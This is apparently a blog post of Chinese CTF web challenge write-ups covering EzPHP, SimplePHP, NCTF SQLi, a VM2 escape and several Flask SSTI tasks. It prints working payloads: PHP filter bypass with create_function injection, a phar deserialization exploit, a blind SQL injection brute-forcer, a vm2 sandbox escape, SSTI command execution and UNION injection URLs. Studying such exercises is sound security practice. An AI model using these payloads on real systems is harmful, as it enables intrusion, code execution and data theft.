[BJDCTF2020]EzPHP
F12看源代码,得到提示后base32解码得到真实地址;
然后源码解析
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER){
if(preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
观察绕过策略
第一步:绕过$_SERVER['QUERY_STRING']
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|.|"|'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
我们需要知道,在这个数组并不会被urldecode,所以直接把关键字全部转换成URL编码就行。
第二步:绕过$_GET['debu']
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
$_GET['debu']在最后使用了全串匹配,可以通过加上%0a来绕过。
第三步:绕过关于$_REQUEST的判断
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
注意到$_REQUEST中POST会覆盖GET,那么我们只需要POST一个相同的就行。
第四步:绕过$_GET['file']
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
$_GET['file']需要使用data协议,这样就会被正常的处理。
第五步:绕过sha1
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
由于是弱比较所以不需要碰撞,直接用数组绕过处理就好了。
第六步:动态函数执行
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|`|{|%|x|&|$|*|||<|"|'|=|?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|.|log|^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
使用create_function新建函数,arg想办法生成合适的调用方式。
因为create_function操作是一个拼接,但是又禁用了一大堆函数,所以我们调用get_defined_vars()来获取一下内容。
需要读取真正的flag,文件是rea1fl4g.php我们来想想办法。
require和base64_decode绕过,然而看到了假的flag。
想想别的办法,注意到没有过滤取反,那我们手工构造一个取反
提供一个简易转换工具,转换完后手工调整取反那一段的脚本就完事了。提示:Python3的request库会在发请求时做一些奇特的编码转换,平常正常用很好用,这题很不好用。需要用Burpsuite来处理。
import requests
import base64
import urllib.parse as up
url = 'http://6b2cdf27-ae41-42af-9cc1-d5d6b691cda1.node3.buuoj.cn/1nD3x.php'
#url = 'http://requestbin.net/r/x2p7s4x2'
def hex2(s):
ans = hex(ord(s))[2:]
if len(ans) == 1:
ans = '0' + ans
return ans
def encode(s):
ans = ''
for i in s:
ans += '%' + hex2(i)
return ans
def get(dc):
dc2 = []
dc3 = []
for i in dc.keys():
dc2.append(encode(i) + '=1')
for i,j in dc.items():
#print(i,j)
dc3.append(encode(i) + '=' + encode(j))
print('POST:','&'.join(dc2))
print('GET:','&'.join(dc3))
get({
'debu':'aqua_is_cuten',
'file':'data://text/plain,{0}'.format(encode('debu_debu_aqua')),
'shana[]':'1',
'passwd[]':'2',
'flag[code]':'create_function',
'flag[arg]':'}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//'
})
PHP
$p = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
print_r(urlencode(~$p));
[SWPUCTF 2018]SimplePHP
显然有个文件上传,不过貌似只能传图片上去,暂时先不管
点击查看文件,注意到地址栏中有个file参数,给这个参数加上内容,发现可以实现文件读取。
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn't exists.');
}
?>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
base.php
<?php
session_start();
?>
<!--flag is in f1ag.php-->
注意到class.php中的Show,我们可以发现这个类里面有一句注释,这里可以提示我们可能可以进行phar反序列化。那么,我们只需要构造反序列化利用链就可以了。
研究构造方式:
C1e4r类存在__destruct方法,这个方法会使用echo来打印;(需要__toString方法触发)
Show类存在__toString方法,可以给$content赋值,而这个当变量str是类的时候,会调用__get方法。
Test类存在__get方法,这个方法可以调用get方法,而get方法可以实现文件读取。
那么构造方法也就清楚了:C1e4r类的$str是一个Show类变量,而这个变量的$str['str']则是一个Test类变量,这个新变量的params['source']则是你要读取的文件名。
然后到网上抄一个exp
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
?>
生成后改后缀名上传;
进入文件夹查看文件名
启动反序列化
http://89ee238b-c35e-4346-bb13-00dcf13da075.node3.buuoj.cn/file.php?file=phar://upload/288c0ceb887c76c4b0165b0bdf1bb31e.jpg
里面还有一个一看就知道是原来上传的文件,看一下发现貌似构建的有点问题,也不是拿flag,就手动无视了
[NCTF2019]SQLi
robots.txt,看一下hint.txt。
给了过滤名单
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
反斜杠没被过滤,尝试拼接字符串,利用regexp来拼凑布尔盲注
实在不想自己写脚本了,上网抄个脚本
#coding:utf-8
import requests
import time
import string
url = "http://912eb439-57a8-417b-a08b-850db70e7b03.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
payload = ''
for n in range(100):
print(n)
for i in str_list:
data = {'username':'\', 'passwd':'||passwd/**/regexp/**/"^{}";x00'.format(payload+i)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)
全小写输入得到flag
[HFCTF2020]JustEscape
假装是个PHP,不过随便输入些错误信息后去百度报错信息就可以发现是NodeJS。
过滤了process关键字,没办法直接执行命令;
然后不会了,去找WP,果然是JS;
先用Error().stack测试是不是JS;
其实是VM2沙箱逃逸
有三种绕过方式,在这篇文章有详细解释。
我使用了数组的绕过方式
?code[]=(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString(); } })();
[CSCCTF 2019 Qual]FlaskLight
F12看源代码,获得提示
根据题目名推测是Python的Flask框架,试试SSTI,成功了
然后命令执行
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
[WUSTCTF2020]CV Maker
注册后上传,直接上传图片马,Burpsuite改文件名后缀为php直接连接Getshell。
[b01lers2020]Welcome to Earth
很有意思的题目,一路用Burpsuite卡住,跟着Javascript和源码走,最后一步排列组合一下,就可以拿到flag。
抄个脚本
#coding:utf-8
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
[b01lers2020]Life on Mars
观察JS,发现查询方式,直接SQL注入即可
Payload
数据库名
/query?search=amazonis_planitia+union+select+1,group_concat(schema_name)+from+information_schema.schemata
表名
/query?search=amazonis_planitia+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='alien_code'
列名
/query?search=amazonis_planitia+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='code'
flag
/query?search=amazonis_planitia+union+select+group_concat(id),group_concat(code)+from+alien_code.code
[RootersCTF2019]I_<3_Flask
首先使用Arjun来对参数进行探测。
探测出来了参数名name。然后直接SSTI。
虽然这里不需要我们来进行绕过,但是我们还是假装绕过一下。
/?name={{[][%27__class__%27][%27__bases__%27][0][%27__subclasses__%27]()[182][%27__init__%27][%27__globals__%27][%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20flag.txt%27).read()%22)}}
[BSidesCF 2019]Pick Tac Toe
本题可能需要挂个梯子才可以写。。。(在我所处的地方,googleapis没法正常访问)
可以通过覆盖的方式直接把三个棋子连成一条线,直接拿到flag。
Comments NOTHING